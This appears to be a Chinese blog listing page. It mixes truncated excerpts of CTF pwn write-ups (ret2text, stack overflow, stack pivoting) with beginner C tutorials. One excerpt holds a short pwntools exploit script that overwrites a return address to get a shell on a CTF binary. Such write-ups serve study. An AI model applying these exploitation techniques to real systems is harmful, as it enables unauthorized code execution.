[CISCN 2019东北]PWN2123456789101112131415161718192021222324252627282930313233343536373839int __fastcall main(int argc, const char **argv, const char **envp){ int v4; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm ...
文件操作文件操作的实现将帮助我们把数据存储到文件中,既硬盘上的文件,如我们所熟知的txt格式,或其他各种后缀的文件,避免程序结束后数据丢失,实现存储数据的功能,甚至充当“数据库”的功能。
操作文件的步骤简单来说分为三步
第一步:打开文件
第二步:读写文件
第三步:关闭文件
第一步可以通过fopen函数来实现,这一步作用主要是建立程序和文件的关系,获取文件在内存中的文件指针,方便后面两步。
第二步读写文件分为fprintf、fscanf或者fwrite、fread或者fputs、getss等多组函数来实现。
每组函数都分别是写和读文件。就像我们熟知的printf和scanf这组输入输出文件一样,这不过这里的读写不是向屏幕,而是向文件。
第三步关闭文件则需要fclose函数实现。
这一步则是切断文件指针和文件的关联,避免误操作。如果未关闭文件就对文件进行读写删除等操作,就是出现类似“正在被使用,无法修改”的提示
在C语言中,对文件操作之前,首先需要打开文件,使用的函数是fopen函数,它的作用是打开文件,获取该文件的文件指针,方便后续操作。函数原型为:
1FILE *fopen(const ...
1.什么是结构体字符指针也可以指向一个字符串,可以用字符串常量对字符指针进行初始化。例如:
char *str = “www.baidu.com“ ;
这是对字符指针进行初始化。此时,字符指针指向一个字符串常量的首地址。
而结构体与数组类似,都是由若干分量组成的,与数组不同的是,结构体的成员可以是不同类型,可以通过成员名来访问结构体的元素(数组一般通过下标)。
结构体的定义说明了它的组成成员,以及每个成员的数据类型。定义一般形式如下:
1234567struct //结构类型名 { 数据类型 成员名 1; 数据类型 成员名 2; ...... 数据类型 成员名 n; };
结构的定义说明了变量在结构中的存在格式,要使用该结构就必须说明结构类型的变量
我们可以将变量student1说明为address类型的结构变量
例如:
1struct address student1;
2.怎么使用结构体虽然,结构体作为若干成员的集合是一个整体,但在使用结构时,不仅要对结构的整体进行操作,还经常要访问结构中的每一个成员。在程序中使用结 ...
[GDOUCTF 2023]EASY PWNshift+F12字符串检索
发现flag.txt
1234567int __fastcall main(int argc, const char **argv, const char **envp){ setbuf(_bss_start, 0LL); puts("If I gaslight you enough, you won't be able to guess my password! :)"); check(); return 0;}
进入check函数
12345678910111213141516171819202122232425262728293031323334353637int check(){ int result; // eax char buf[10]; // [rsp+7h] [rbp-29h] BYREF char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF ssize_t v3; // [rsp+20h ...
什么是栈迁移?在了解栈迁移之前,让我们先来了解一下什么是栈溢出
栈是C语言中一种重要的数据结构,在C语言中,函数调用时会利用栈来管理局部变量、返回地址等信息。但是实际上,计算机程序的运行都依赖于函数调用栈。同时,栈也常用于一些算法的实现,如果对栈结构不了解,请移步我之前的博客。
栈溢出是指在程序运行过程中,栈帧被填满,栈空间不足以接收多出来的数据,导致这部分数据溢出覆盖了栈空间原有的地址
例如get()函数,就是常见的栈溢出点
因此,栈溢出能使我们覆盖栈上某些区域的值,甚至是当前函数的返回地址ret,一旦ret覆盖为某个奇怪的值,例如0xabcdef,当函数调用结束恢复调用现场时,程序会跳转到内存中的0xabcdef处。此刻,内核会立刻告诉我们“SLGSEV”,即常见的段错误
问题来了,如果这个值是一个合法地址呢,如果它是程序中某个函数甚至是shellcode的地址呢,因此,一旦缓冲区变量可以被恶意用户控制,而且栈空间足够大,程序原有的执行流很可能会被破坏,使得攻击者提权拿到shell
在完成栈溢出攻击的过程中,有一个充分条件是(栈上有足够的地方让攻击者进行布局)。通常的函数栈剩余空间 ...
[HNCTF 2022 Week1]easyoverflowcheck一下
12345Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
64位文件,开启了NX保护
ida静态分析
发现文件中有put(cat flag)
简单直接的ret2text
exp
12345678910111213from pwn import*context(os = 'linux',arch = 'amd64',log_level='debug')elf = ELF('./easy_overflow')p = process('./easy_overflow')payload = b'a'*(0x30+8)+p64(0x40120F)p.sendline(payload)p.interactive ...
地址何谓地址?在内存(注意:我们这里提到的内存并不是人们常说的计算机的物理内存,而是虚拟的逻辑内存空间)中,简单地说:地址就是可以唯一标识某一点的一个编号,即一个数字!我们都见过尺子,我们统一以毫米为单位,一把长1000毫米的尺子,其范围区间为0~999,而我们可以准确的找到35毫米、256毫米处的位置。
同样的道理,内存也是如此,像尺子一样线性排布,只不过这个范围远远大于尺子,在32位操作系统下,这个范围是0-4,294,967,295而地址就是这之中的一个编号而已,习惯上,在计算机里地址我们常常用其对应的十六进制数来表示,比如0x12ff7c这样。在我们的C程序中,每一个定义的变量,在内存中都占有一个内存单元,比如int类型占四个字节,char类型占一个字节等等,每个字节都位于0-294,967,295之间都有一个对应的编号,C语言允许在程序中使用变量的地址,并可以通过地址运算符 ”&“ 得到变量的地址
例如
1234567891011121314151617#include<stdio.h>int main(){ int i; ...
[HGAME 2023 week1]test_nc看题目就知道签到题,nc连接远程端口直接打就好
[watevrCTF 2019]Voting Machine 112345Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksec检查文件保护
发现开启了NX(堆栈不可执行)
丢ida分析一下
1234567891011121314151617int __fastcall main(int argc, const char **argv, const char **envp){ char v4[2]; // [rsp+Eh] [rbp-2h] BYREF signal(14, sig); alarm(0x28u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting applicati ...
选择结构和循环结构选择结构例一 if结构123456789if(条件式){语句1语句2...语句n}
最基础的选择结构,没什么好说的,满足条件式就执行结构中的语句
例二 if-else结构12345678if(条件式){语句1语句2}else{语句3}
若条件式中的语句不成立,则跳过执行else中的语句3
例三if-else_if-else结构12345678910111213141516if(条件式1){语句1}else if(条件式2){语句2}else if(条件式3)语句3}.....else{语句n;}
先从条件式1开始执行,若成立则执行语句1,若不成立则判断条件式2,若成立则执行语句2,以此类推,直到满足任意一个条件
若没有满足任一一个条件,则执行语句n,如若没有最后的else{语句n},则不执行任何一个语句,继续执行main函数
对于三种或更多的结构,c语言提供了switch选择结构
例四 switch结构12345678910swi ...
[SWPUCTF 2022 新生赛]Does your nc work?依旧是熟悉的nc签到,不再赘述
[BJDCTF 2020]babystack2.0checksec分析
123456[*] '/mnt/hgfs/windowshare/pwn (1)' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
保护只有一个NX
不太严密
ida静态分析
12345678910111213141516171819202122232425int __fastcall main(int argc, const char **argv, const char **envp){ char buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BY ...